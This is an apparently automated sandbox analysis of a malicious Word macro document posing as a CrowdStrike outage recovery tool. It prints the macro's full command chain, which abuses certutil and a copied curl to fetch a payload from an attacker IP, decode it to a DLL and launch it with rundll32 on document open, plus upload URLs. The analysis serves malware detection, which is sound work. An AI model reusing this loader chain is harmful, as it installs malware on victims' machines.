HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4722Host: login.live.com

Source: ~WRF{085F5DEF-FD43-4377-836E-D631451649D2}.tmp.26.dr	String found in binary or memory: http://172.104.160.
Source: rundll32.exe, 00000010.00000003.2520216865.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2520153129.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.104.160.126:5000/Upl
Source: rundll32.exe, 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmp, rundll32.exe, 00000010.00000003.2257877794.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2479616705.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2461554328.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2429834267.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2510194846.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2238753292.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.5553191262.0000020A7832A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2500205273.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2520216865.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2530048667.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2450955120.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2461645882.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2540526722.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2257938197.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.5553191262.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2490004164.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2416851318.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2238844395.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2510132228.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2479710584.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.104.160.126:5000/Uploadss
Source: vbaProject.bin	String found in binary or memory: http://172.104.160.126:8099
Source: curl.exe, 00000021.00000002.2767652303.0000000003178000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.104.160.126:8099/pay
Source: curl.exe, 00000021.00000002.2767652303.0000000003178000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.104.160.126:8099/pay0
Source: curl.exe, 00000021.00000002.2767652303.0000000003170000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.104.160.126:8099/payload2.txt
Source: curl.exe, 0000000D.00000002.2189505676.00000000033E0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000021.00000002.2767652303.0000000003170000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.104.160.126:8099/payload2.txt-oC:
Source: curl.exe, 0000000D.00000002.2189505676.00000000033E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.104.160.126:8099/payload2.txt6
Source: curl.exe, 0000000D.00000002.2189505676.00000000033E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.104.160.126:8099/payload2.txt6ov
Source: curl.exe, 00000021.00000002.2767652303.0000000003178000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.104.160.126:8099/payload2.txto
Source: curl.exe, 00000021.00000002.2767652303.0000000003178000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.104.160.126:8099/payload2.txton
Source: curl.exe, 00000021.00000002.2767652303.0000000003178000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.104.160.126:8099/payload2.txtr
Source: curl.exe, 0000000D.00000002.2189505676.00000000033E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.104.160.126:8099/payload2.txts
Source: vbaProject.bin	String found in binary or memory: http://172.104.160.126:80X99
Source: V2ViIERhdGE=.16.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: document.xml	String found in binary or memory: https://aka.ms/vs/17/release/vc_redist.x64.exe
Source: V2ViIERhdGE=.16.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: V2ViIERhdGE=.16.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: V2ViIERhdGE=.16.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: xcopy.exe, 0000000A.00000002.2145898386.0000000002C0B000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000B.00000002.2149297237.0000000004620000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000B.00000002.2148940386.0000000002928000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000C.00000002.2154163486.00000000028A8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmp, xcopy.exe, 0000001E.00000002.2727525467.00000000028DB000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000001F.00000002.2729026809.0000000004760000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000001F.00000002.2728920488.0000000002A08000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 00000020.00000002.2732646936.0000000002D98000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000021.00000002.2767307922.00000000008A0000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: https://curl.se/P
Source: certutil.exe, 0000000E.00000003.2191196676.0000000004907000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, rundll32.exe, 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmp, certutil.exe, 00000022.00000003.2768980516.0000000004FA2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000024.00000002.4259710787.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: rundll32.exe	String found in binary or memory: https://curl.se/docs/alt-svc.html#
Source: xcopy.exe, 0000000A.00000002.2145898386.0000000002C0B000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000B.00000002.2149297237.0000000004620000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000B.00000002.2148940386.0000000002928000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000C.00000002.2154163486.00000000028A8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmp, xcopy.exe, 0000001E.00000002.2727525467.00000000028DB000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000001F.00000002.2729026809.0000000004760000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000001F.00000002.2728920488.0000000002A08000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 00000020.00000002.2732646936.0000000002D98000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000021.00000002.2767307922.00000000008A0000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: https://curl.se/docs/copyright.htmlD
Source: curl.exe, curl.exe, 00000021.00000002.2767226008.0000000000885000.00000002.00000001.01000000.00000007.sdmp, curl.exe, 00000021.00000000.2733260752.0000000000885000.00000002.00000001.01000000.00000007.sdmp, certutil.exe, 00000022.00000003.2768980516.0000000004FA2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000024.00000002.4259710787.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: curl.exe	String found in binary or memory: https://curl.se/docs/hsts.html#
Source: curl.exe, curl.exe, 00000021.00000002.2767226008.0000000000885000.00000002.00000001.01000000.00000007.sdmp, curl.exe, 00000021.00000000.2733260752.0000000000885000.00000002.00000001.01000000.00000007.sdmp, certutil.exe, 00000022.00000003.2768980516.0000000004FA2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000024.00000002.4259710787.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: curl.exe	String found in binary or memory: https://curl.se/docs/http-cookies.html#
Source: curl.exe, curl.exe, 00000021.00000002.2767226008.0000000000885000.00000002.00000001.01000000.00000007.sdmp, curl.exe, 00000021.00000000.2733260752.0000000000885000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: https://curl.se/docs/sslcerts.html
Source: curl.exe	String found in binary or memory: https://curl.se/docs/sslcerts.htmlcurl
Source: curl.exe, 00000021.00000000.2733260752.0000000000885000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: https://curl.se/libcurl/c/curl_easy_setopt.html
Source: V2ViIERhdGE=.16.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: V2ViIERhdGE=.16.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: V2ViIERhdGE=.16.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: V2ViIERhdGE=.16.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: V2ViIERhdGE=.16.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49325
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49268
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49213
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49233
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801

Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.6:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49213 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49268 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49325 version: TLS 1.2

Source: C:\Windows\System32\rundll32.exe

Code function: 16_2_00007FFD92C64B30 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,

16_2_00007FFD92C64B30

System Summary

Document contains an embedded VBA macro which may execute processes

Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function MainFunc, API IWshShell3.Run("C:\Windows\System32\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp & certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe & C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\curl.txt & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\mscorsvc.txt & START " " rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain & exit",0:Integer,False)			Name: MainFunc
Source: ~WRC0000.tmp.26.dr	OLE, VBA macro line: JbxHook_Run_3__ob = jbxthis.Run(jbxparam0, jbxparam1, jbxparam2)

Document contains an embedded VBA macro with suspicious strings

Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	OLE, VBA macro line: ' Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr)
Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	OLE, VBA macro line: ' Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	OLE, VBA macro line: dir = Environ("temp")
Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	OLE, VBA macro line: pp = pp + "tem32\cmd.exe /c "
Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	OLE, VBA macro line: pp = pp + "START " + vbDblQuote + " " + vbDblQuote + " rundll32 " + mal_dec_exe_path + ",DllMain" + " & "
Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	OLE, VBA macro line: 'pp = pp + "cmd.exe -d & exit"
Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	OLE, VBA macro line: Set objShell = CreateObject("WScript.Shell")
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function MainFunc, String environ: dir = Environ("temp")	Name: MainFunc
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function MainFunc, String cmd.exe: pp = pp + "tem32\cmd.exe /c "	Name: MainFunc
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function MainFunc, String rundll32: pp = pp + "START " + vbDblQuote + " " + vbDblQuote + " rundll32 " + mal_dec_exe_path + ",DllMain" + " & "	Name: MainFunc
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function MainFunc, String wscript: Set objShell = CreateObject("WScript.Shell")	Name: MainFunc
Source: ~WRC0000.tmp.26.dr	OLE, VBA macro line: pp = pp + "tem32\cmd.exe /c "
Source: ~WRC0000.tmp.26.dr	OLE, VBA macro line: pp = pp + "START " + vbDblQuote + " " + vbDblQuote + " rundll32 " + mal_dec_exe_path + ",DllMain" + " & "

Downloads suspicious files via Chrome

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File dump: C:\Users\user\Downloads\MsftRecoveryToolForCSv2.zip (copy)

Jump to dropped file

Office process queries suspicious COM object (likely to drop second stage)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

File deleted: C:\Windows\Temp\SGlzdG9yeQ==

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_00871535	13_2_00871535
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_0089A8D8	13_2_0089A8D8
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_0087A9B3	13_2_0087A9B3
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_0088C1FD	13_2_0088C1FD
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_0086E127	13_2_0086E127
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008ACAA0	13_2_008ACAA0
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_0087FAEC	13_2_0087FAEC
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008B33B0	13_2_008B33B0
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_00874415	13_2_00874415
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008825B8	13_2_008825B8
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C19250	16_2_00007FFD92C19250
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C95204	16_2_00007FFD92C95204
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C291B0	16_2_00007FFD92C291B0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BF5730	16_2_00007FFD92BF5730
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C9B7E0	16_2_00007FFD92C9B7E0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C95A60	16_2_00007FFD92C95A60
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C2F940	16_2_00007FFD92C2F940
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BF18C0	16_2_00007FFD92BF18C0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92CAFA20	16_2_00007FFD92CAFA20
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C99CA0	16_2_00007FFD92C99CA0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BEFE10	16_2_00007FFD92BEFE10
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BF6120	16_2_00007FFD92BF6120
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C1A0A0	16_2_00007FFD92C1A0A0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BF2210	16_2_00007FFD92BF2210
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BEEAA0	16_2_00007FFD92BEEAA0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BF2E60	16_2_00007FFD92BF2E60
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BEED05	16_2_00007FFD92BEED05
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BF0DA0	16_2_00007FFD92BF0DA0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C231D0	16_2_00007FFD92C231D0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C25170	16_2_00007FFD92C25170
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BF5160	16_2_00007FFD92BF5160
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C1B190	16_2_00007FFD92C1B190
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C496B0	16_2_00007FFD92C496B0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C515E0	16_2_00007FFD92C515E0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C09960	16_2_00007FFD92C09960
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C2BCB0	16_2_00007FFD92C2BCB0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C23DE0	16_2_00007FFD92C23DE0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BFE330	16_2_00007FFD92BFE330
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BEE140	16_2_00007FFD92BEE140
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C5E0B0	16_2_00007FFD92C5E0B0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C32080	16_2_00007FFD92C32080
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C96250	16_2_00007FFD92C96250
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C3C160	16_2_00007FFD92C3C160
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BFE710	16_2_00007FFD92BFE710
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C3A7E0	16_2_00007FFD92C3A7E0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C947A0	16_2_00007FFD92C947A0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C747C0	16_2_00007FFD92C747C0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BFE520	16_2_00007FFD92BFE520
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C04540	16_2_00007FFD92C04540
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C36460	16_2_00007FFD92C36460
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C64B30	16_2_00007FFD92C64B30
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BF4BC0	16_2_00007FFD92BF4BC0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C96B6E	16_2_00007FFD92C96B6E
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BFE900	16_2_00007FFD92BFE900
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C00860	16_2_00007FFD92C00860
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C16A00	16_2_00007FFD92C16A00
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C64CF0	16_2_00007FFD92C64CF0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C66E50	16_2_00007FFD92C66E50
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C96E10	16_2_00007FFD92C96E10
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C94D80	16_2_00007FFD92C94D80
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_00841535	33_2_00841535
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0086A8D8	33_2_0086A8D8
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0084A9B3	33_2_0084A9B3
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0085C1FD	33_2_0085C1FD
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0083E127	33_2_0083E127
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0087CAA0	33_2_0087CAA0
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0084FAEC	33_2_0084FAEC
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_008833B0	33_2_008833B0
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_00844415	33_2_00844415
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_008525B8	33_2_008525B8

Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	OLE, VBA macro line: Sub Document_Open()
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function Document_Open	Name: Document_Open
Source: ~WRC0000.tmp.26.dr	OLE, VBA macro line: Sub Document_Open()

Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	OLE indicator, VBA macros: true
Source: harvardanglia2008officeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: mlaseventheditionofficeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: turabian.xsl.0.dr	OLE indicator, VBA macros: true
Source: ieee2006officeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: gostname.xsl.0.dr	OLE indicator, VBA macros: true
Source: APASixthEditionOfficeOnline.xsl.0.dr	OLE indicator, VBA macros: true
Source: sist02.xsl.0.dr	OLE indicator, VBA macros: true
Source: iso690nmerical.xsl.0.dr	OLE indicator, VBA macros: true
Source: gb.xsl.0.dr	OLE indicator, VBA macros: true
Source: iso690.xsl.0.dr	OLE indicator, VBA macros: true
Source: chicago.xsl.0.dr	OLE indicator, VBA macros: true
Source: gosttitle.xsl.0.dr	OLE indicator, VBA macros: true
Source: CatalogCacheMetaData.xml.26.dr	OLE indicator, VBA macros: true
Source: ~WRC0000.tmp.26.dr	OLE indicator, VBA macros: true

Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm

Stream path 'VBA/__SRP_0' : http://172.104.160.126:8099\curl.txt\curl.exe/payload2.txt\mscorsvc.txt\mscorsvc.dllC:\Windows\Sys"tem32\cmd.exe /c$-encode$\cu-decode"$ -o$del&rl.exe &.bq.aSTART( rundll32&,DllMainexit

Source: harvardanglia2008officeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: mlaseventheditionofficeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{43F4B375-8E7A-44EF-86E3-6C5BC465D1F2}.tmp.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: turabian.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ieee2006officeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gostname.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: APASixthEditionOfficeOnline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: sist02.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: iso690nmerical.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gb.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: iso690.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: chicago.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gosttitle.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: CatalogCacheMetaData.xml.26.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{085F5DEF-FD43-4377-836E-D631451649D2}.tmp.26.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92C915E0 appears 132 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92C26F90 appears 415 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92C15F20 appears 56 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92C2B840 appears 35 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92C20ED0 appears 71 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92C15810 appears 68 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92C97390 appears 35 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92BEAA50 appears 36 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FFD92C27080 appears 332 times
